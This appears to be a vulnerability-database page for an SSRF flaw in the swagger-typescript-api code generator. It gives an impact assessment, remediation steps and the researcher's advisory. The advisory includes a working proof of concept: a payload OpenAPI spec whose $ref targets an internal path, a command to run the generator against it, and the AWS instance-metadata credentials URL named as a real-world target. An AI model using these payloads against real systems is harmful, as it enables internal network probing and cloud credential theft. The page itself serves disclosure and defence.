Attack ChainAIDerived
Hypothetical attack flow derived from CVE metadata – not a confirmed exploit chain
-
AccessAttacker embeds internal-target $ref URL in OpenAPI spec
-
DeliveryDeveloper or CI pipeline runs generator with --url pointing to attacker spec
-
ExploitwarmUpRemoteSchemasCache BFS enqueues all http(s):// $ref values
-
ExecutionGenerator issues unauthenticated GET to internal target (169.254.169.254, RFC-1918 host, or localhost)
-
ImpactInternal service responds; timing, error state, or response body leaks network topology or credentials to generator process
Vulnerability Assessment
| Weakness |
CWE
OWASP Top 10:2025
A05:2025 - Injection
ASVS 5.0
V2 - Validation and Business Logic Input validation, allowlisting
|
| Exploitation Conditions | Exploitation requires that the generator be invoked with config.url set to an http(s):// spec source - via the --url CLI flag or the programmatic API - because warmUpRemoteSchemasCache exits early when this field is absent or is a local file path. Local file-based specs are not vulnerable. The attacker must be able to influence the content of that remote spec: by hosting a malicious spec at a URL the victim fetches, by modifying the spec via a pull request, or by injecting content through a public OpenAPI registry the victim references. The $ref value must use an http(s):// scheme; file:// or relative $refs are not resolved remotely. The CVSS PR:N metric confirms no authentication against the generator system is required of the attacker. Exploitation is constrained to services reachable via HTTP GET from the generator process's network, and to blind or semi-blind information leakage (response body is not directly forwarded to the attacker unless combined with the companion auth-token exfiltration finding). The UI:R requirement means a person or automated build system must actively run the generator against the influenced spec. |
| Impact | The CVSS 3.1 vector AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N (score 6.1 Medium) correctly models the attack: no attacker privileges required, network delivery, scope change as requests escape to other network services, but UI:R because a developer or automated system must run the generator against the malicious spec. In practice the UI:R constraint is weak in CI/CD pipelines where the 'user' is the build system itself. The S:C flag and C:L/I:L ratings are arguably conservative: cloud-hosted runners with routes to 169.254.169.254 could expose instance credentials (AWS IMDSv1 returns keys in plaintext GET responses), and the separately reported auth-token forwarding issue escalates blind SSRF to direct exfiltration. EPSS data was not provided in the input; no CISA KEV listing is present. A functional PoC with confirmed internal-server hits has been published in the advisory, making exploitation straightforward for any attacker who can deliver a malicious spec. Overall real-world priority is higher than 6.1 implies for teams running this tool in cloud CI against third-party or tenant-supplied specs. |
| Exploit ScenarioDerived | An attacker submits a pull request to a project that modifies the pinned OpenAPI spec file, embedding a $ref pointing to http://169.254.169.254/latest/meta-data/iam/security-credentials/ - an AWS IMDS endpoint that returns instance role credentials. When the CI pipeline runs swagger-typescript-api generate --url against the updated spec, warmUpRemoteSchemasCache fetches the IMDS URL during $ref resolution; the response or its timing and error state reach the generator process. A published PoC confirms the SSRF with a loopback server receiving GET /INTERNAL_ONLY_PATH/secret.json from the generator, demonstrating the technique is immediately replicable. |
Get an e-mail when this CVE is exploited, patched or re-scored. Free account.
Alert meAnalysisAIv1 – Jul 29, 2026
Server-side request forgery in swagger-typescript-api <= 13.12.1 allows an attacker who controls or influences an OpenAPI spec to force the generator process to issue arbitrary HTTP GET requests to any host reachable from the generator's network - including loopback addresses, RFC-1918 ranges, and cloud instance-metadata endpoints at 169.254.169.254 - during code generation. Developers and CI/CD pipelines that process untrusted or third-party remote specs via the --url flag are directly in scope; the companion auth-token forwarding finding (filed separately by the same researcher) can escalate this from blind SSRF to direct credential exfiltration. A public proof-of-concept with step-by-step reproduction instructions was published alongside the advisory; no active exploitation has been confirmed in CISA KEV.
RemediationAI
Upgrade to swagger-typescript-api@13.12.2 immediately. This release implements layered SSRF mitigations: blocking of private, loopback, and link-local addresses for both IPv4 and IPv6 (including 169.254.0.0/16 cloud IMDS); manual redirect following capped at 5 hops with re-validation of each destination address; restriction of authorizationToken forwarding to same-origin URLs only; and cross-origin $ref fetches limited to public hosts. The fix was merged in PR #1779 (https://github.com/acacode/swagger-typescript-api/pull/1779), commit 306d59acb8ffbb00f953f807b97234b21f51d9de, and released as v13.12.2 (https://github.com/acacode/swagger-typescript-api/releases/tag/v13.12.2). If immediate upgrade is blocked, apply compensating controls in priority order: (1) avoid the --url flag entirely - download specs to a local path first and pass a file path to the generator, which prevents warmUpRemoteSchemasCache from activating with no functional trade-off for most teams; (2) run the generator inside a network-isolated container with no route to RFC-1918, loopback, or 169.254.x ranges, accepting that legitimate cross-origin $ref schemas will break; (3) pre-screen spec files for http(s):// $ref values using a JSON linter or grep before generation. Option (1) is the most reliable interim control and has no downsides for teams that can pre-download their specs.
Affected VersionsENISA
Affected Packages
Source: OSV (Open Source Vulnerabilities)
Affects your stack
Affects 1 package in npm
Checking this CVE against your own stacks and servers is part of the Basic plan and up.
Technical ContextAI · show details
The vulnerability resides in ResolvedSwaggerSchema.warmUpRemoteSchemasCache (src/resolved-swagger-schema.ts:399-445), which performs a breadth-first traversal of all external $ref URLs found in a parsed OpenAPI spec and issues an HTTP GET to each via Node.js's undici-backed fetch. The sole URL validation is a regex in isHttpUrl (src/resolved-swagger-schema.ts:75-78) that matches ^https?:// - there is no filtering for RFC-1918 ranges (10.x, 172.16-31.x, 192.168.x), loopback (127.x), link-local (169.254.x for cloud IMDS), or IPv6 equivalents (::1, fc00::/7, fe80::/10). Because Node.js fetch follows up to 20 redirects by default, an attacker-controlled redirect chain from a public server to an internal URL also succeeds, making naive post-hoc IP filtering insufficient without also setting redirect:'manual' and re-validating each hop. The affected package is pkg:npm/swagger-typescript-api. The input metadata lists CWE-20 (Improper Input Validation), but the advisory body explicitly classifies this as CWE-918 (Server-Side Request Forgery), which is the more precise root-cause category and is used here.
Know when Node.js gets its next vulnerability
- Watch products and get an email when something new is published
- Check this CVE against your own stack and servers
- Exploit and PoC references, threat intelligence from 22 sources
No credit card · 7-day full trial
Severity by source
AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
Attacker serves malicious spec remotely (AV:N, PR:N); developer must run generator against it (UI:R); fetch escapes to internal network services (S:C); GET-only probing yields limited confidentiality and integrity impact (C:L, I:L, A:N).
Primary rating from Vendor (https://github.com/acacode/swagger-typescript-api).
CVSS VectorVendor: https://github.com/acacode/swagger-typescript-api
DescriptionCVE.org
Summary
swagger-typescript-api walks every $ref value in the input OpenAPI spec and, for any $ref whose target is an http(s):// URL, issues an HTTP GET to that URL during generation (warmUpRemoteSchemasCache). The only URL filter is a regex that matches ^https?:// - there is no private-IP allowlist, no DNS-rebinding protection, no redirect cap, and no same-origin check against the spec source. A malicious OpenAPI spec can therefore force the generator process to issue HTTP requests to arbitrary hosts and paths reachable from the generator's network, including 127.0.0.1, RFC-1918 ranges, internal hostnames, and the cloud instance-metadata endpoint at 169.254.169.254.
The attacker model is identical to the previously reported code-injection findings: a developer or CI pipeline that runs swagger-typescript-api generate against an attacker-controlled spec (remote URL, third-party / public OpenAPI registry, multi-tenant tenant input, or a spec file modified via PR).
Details
SwaggerSchemaResolver.fetchSwaggerSchemaFile (src/swagger-schema-resolver.ts:122) loads the entry-point spec. After it parses, ResolvedSwaggerSchema (src/resolved-swagger-schema.ts) calls warmUpRemoteSchemasCache which does a BFS over every external $ref:
// src/resolved-swagger-schema.ts:399-445
private async warmUpRemoteSchemasCache() {
if (typeof this.config.url !== "string" || !this.isHttpUrl(this.config.url)) {
return;
}
const visited = new Set<string>();
const queue = [this.stripHash(this.config.url)];
while (queue.length > 0) {
const currentUrl = queue.shift();
if (!currentUrl || visited.has(currentUrl)) continue;
visited.add(currentUrl);
if (this.externalSchemaCache.has(currentUrl)) continue;
const schema = await this.fetchRemoteSchemaDocument(currentUrl); // <-- HTTP GET
if (!schema) continue;
this.externalSchemaCache.set(currentUrl, schema);
for (const ref of this.extractRefsFromSchema(schema)) {
const normalizedRef = this.normalizeRef(ref);
if (normalizedRef.startsWith("#")) continue;
const [externalPath = ""] = normalizedRef.split("#");
if (!externalPath) continue;
const absoluteUrl = this.resolveAbsoluteUrl(externalPath, currentUrl);
if (absoluteUrl && !visited.has(absoluteUrl)) {
queue.push(absoluteUrl); // <-- recurse
}
}
}
}The fetch itself:
// src/resolved-swagger-schema.ts:374
const response = await fetch(url, {
headers: this.getRemoteRequestHeaders(),
});…and the only URL-shape filter:
// src/resolved-swagger-schema.ts:75-78
private isHttpUrl(value: string): boolean {
return /^https?:\/\//i.test(value);
}There is no IP allowlist (no rejection of 127.x, 10.x, 172.16-31.x, 192.168.x, 169.254.x, IPv6 ::1 / fc00::/7, etc.), no DNS-rebinding mitigation (the URL is passed straight to Node's built-in fetch, which itself follows up to 20 redirects by default), and no check that the new URL shares an origin with the spec source. Any $ref value that survives isHttpUrl is fetched.
Because fetch is Node's undici-backed implementation, an external 302 redirect from an attacker's spec server to an internal URL ALSO succeeds - even if the maintainer later adds a private-IP filter to the spec string itself, redirect-based SSRF would still work without additional mitigation in the fetch options (redirect: "manual" or a custom dispatcher with a same-host check).
PoC
Self-contained reproducer in comments (install swagger-typescript-api@13.12.1 into a local node_modules, spin up two loopback HTTP servers - one serving the spec, one pretending to be an "internal" service - run the generator against each, observe the internal server's hit count). Tested on swagger-typescript-api@13.12.1 and Node v24.11.1.
Payload spec (served from http://127.0.0.1:<spec-port>/spec.json):
{
"openapi": "3.0.0",
"info": { "title": "SSRF-payload", "version": "1.0.0" },
"paths": {
"/p": {
"get": {
"operationId": "p",
"responses": {
"200": {
"description": "OK",
"content": {
"application/json": {
"schema": {
"$ref": "http://127.0.0.1:<internal-port>/INTERNAL_ONLY_PATH/secret.json"
}
}
}
}
}
}
}
}
}Steps:
# 1. Start a loopback "internal" HTTP server that should not be reachable from a public spec.
# 2. Start a loopback "spec" HTTP server that serves the payload spec above.
# 3. Point the generator at the spec server.
npm install swagger-typescript-api@13.12.1
node -e "import('swagger-typescript-api').then(m => m.generateApi({
output: '/tmp/out',
url: 'http://127.0.0.1:<spec-port>/spec.json',
httpClientType: 'fetch'
}))"Observed (control vs payload):
[control] (no external $ref in spec) → internal-server hits: 0
[payload] ($ref → http://127.0.0.1:<internal-port>/...) → internal-server hits: 1
hit: /INTERNAL_ONLY_PATH/secret.json host=127.0.0.1:<internal-port>The internal server received a GET /INTERNAL_ONLY_PATH/secret.json issued by the generator's warmUpRemoteSchemasCache while the developer was running swagger-typescript-api generate. The loopback target in the PoC stands in for any host reachable from the generator process - typical real-world targets include 169.254.169.254 (cloud IMDS), internal admin panels, intranet web apps, and corporate-VPN-only services.
Impact
Type: Server-Side Request Forgery (CWE-918) via unrestricted external-reference resolution in a code-generation tool.
Affected use cases:
- A developer running
sta generate --url https://attacker.example/openapi.jsonagainst an attacker-hosted spec. - A developer running the generator against any third-party or public OpenAPI spec they did not author (cached APIs on public schema registries, vendor / partner specs).
- A CI/CD pipeline regenerating clients from a spec on every build.
- A multi-tenant SaaS that generates per-tenant clients from tenant-supplied specs.
- Any project where a contributor can modify the pinned spec via a pull request.
What an attacker can do with this:
- Probe the generator's network reachability - enumerate which RFC-1918 hosts and internal services are alive based on timing and error states.
- Hit cloud-provider instance metadata endpoints (
http://169.254.169.254/...) on cloud-hosted CI runners. Even though the response body is not directly returned to the attacker, side effects (rate-limit, timing, error code reflected in logs) leak information. - Trigger side effects in internal services that have GET-mutating endpoints (rare but real).
- Combine with the companion finding (Authorization-token forwarding to
$refURLs - filed separately) to escalate this from blind SSRF into direct credential exfiltration.
Lifecycle: generation-time. The fetch happens when the developer or CI pipeline runs swagger-typescript-api generate, not when the generated client is later imported.
Suggested fix:
Defense in depth at three layers, in priority order:
- Reject private / link-local / loopback addresses at the URL-validation layer. Resolve the URL's hostname, check the resulting IP against IPv4 ranges
127.0.0.0/8,10.0.0.0/8,172.16.0.0/12,192.168.0.0/16,169.254.0.0/16,0.0.0.0/8, and IPv6 equivalents (::1,fc00::/7,fe80::/10,::ffff:0:0/96). Re-resolve on every redirect to defeat DNS rebinding. - Use a custom undici dispatcher with
connecthook that re-checks the resolved IP at TCP-connect time - the only reliable way to defeat DNS rebinding in Node's built-infetch. - Set
redirect: "manual"in thefetchoptions and validate each redirect URL through the same allowlist before following it.
If full SSRF mitigation is too invasive for a code-generation tool, at minimum surface the threat: log every external URL the generator is about to fetch (so a developer can grep for unexpected hosts in the output) and add an opt-out flag like --no-external-refs that disables warmUpRemoteSchemasCache entirely.
Submitted by: Hamza Haroon (thegr1ffyn)
Threat Intelligence Overview
How this decision was reached
The engine reads each signal below and applies a fixed list of rules from top to bottom. The first rule that matches sets the recommended action – like a statement, every line is shown.
What every action level means
SSVC AssessmentENISA
Priority Score
Attack Technique
Server-Side Request Forgery exploits applications that fetch remote resources based on user-supplied URLs.
Remote code execution in n8n's workflow expression evaluation system allows an authenticated user with workflow creation
A vulnerability in the NuPoint Unified Messaging (NPM) component of Mitel MiCollab through 9.8 SP1 FP2 (9.8.1.201) could
FortiOS and FortiProxy contain an authentication bypass via the Node.js websocket module allowing unauthenticated remote
Denial of service against HTTP/2 server implementations allows remote unauthenticated attackers to exhaust server resour
Eval injection vulnerability in the internals.batch function in lib/batch.js in the bassmaster plugin before 1.5.2 for t
Flowise version 3.0.5 contains a remote code execution vulnerability in the CustomMCP node. The mcpServerConfig paramete
Node.js 8.5.0 before 8.6.0 allows remote attackers to access unintended files, because a change to ".." handling was inc
An issue was discovered in the node-serialize package 0.0.4 for Node.js. Rated critical severity (CVSS 9.8), this vulner
OpenSSL before 0.9.8za, 1.0.0 before 1.0.0m, and 1.0.1 before 1.0.1h does not properly restrict processing of ChangeCiph
Directory traversal vulnerability in the st module before 0.2.5 for Node.js allows remote attackers to read arbitrary fi
Multiple SQL injection vulnerabilities in the Manage Accounts page in the AccountManagement.asmx service in the Solarwin
A vulnerability in NuPoint Messenger (NPM) of Mitel MiCollab through 9.8.0.33 allows an unauthenticated attacker to cond
EUVD-2026-50364
GHSA-x36r-4347-pm5x
NVD
CVE.org
EPSS
Vulnrichment
Exploit-DB